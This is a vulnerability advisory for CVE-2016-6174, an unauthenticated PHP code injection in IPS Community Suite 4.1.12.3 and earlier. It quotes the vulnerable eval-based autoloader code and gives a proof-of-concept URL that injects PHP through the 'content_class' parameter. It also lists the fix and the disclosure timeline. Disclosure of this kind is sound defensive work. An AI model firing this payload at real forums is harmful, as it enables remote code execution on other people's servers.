IPS Community Suite <= 4.1.12.3 Autoloaded PHP Code Injection Vulnerability

• Software Link:

https://invisionpower.com

• Affected Versions:

Version 4.1.12.3 and prior versions.

• Vulnerability Description:

The vulnerable code is located in the /applications/core/modules/front/system/content.php script:

38$class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
39 
40if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )
41{
42    \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );
43}

User input passed through the “content_class” request parameter is not properly sanitized before being used in a call to the class_exists() PHP function at line 40. This could be exploited by unauthenticated attackers to inject and execute arbitrary PHP code leveraging the autoloading function defined into the /applications/cms/Application.php script:

171if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )
172{
173    $databaseId = mb_substr( $class, 14 );
174    eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId = $databaseId; }" );
175}

• Proof of Concept:

[http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*

• Solution:

Update to version 4.1.13 or later.

• Disclosure Timeline:

[04/07/2016] – Vendor notified

[05/07/2016] – Vulnerability fixed in version 4.1.13: https://invisionpower.com/release-notes/4113-r44/

[06/07/2016] – CVE number requested

[06/07/2016] – CVE number assigned

[07/07/2016] – Public disclosure

• CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2016-6174 to this vulnerability.

• Credits:

Vulnerability discovered by Egidio Romano.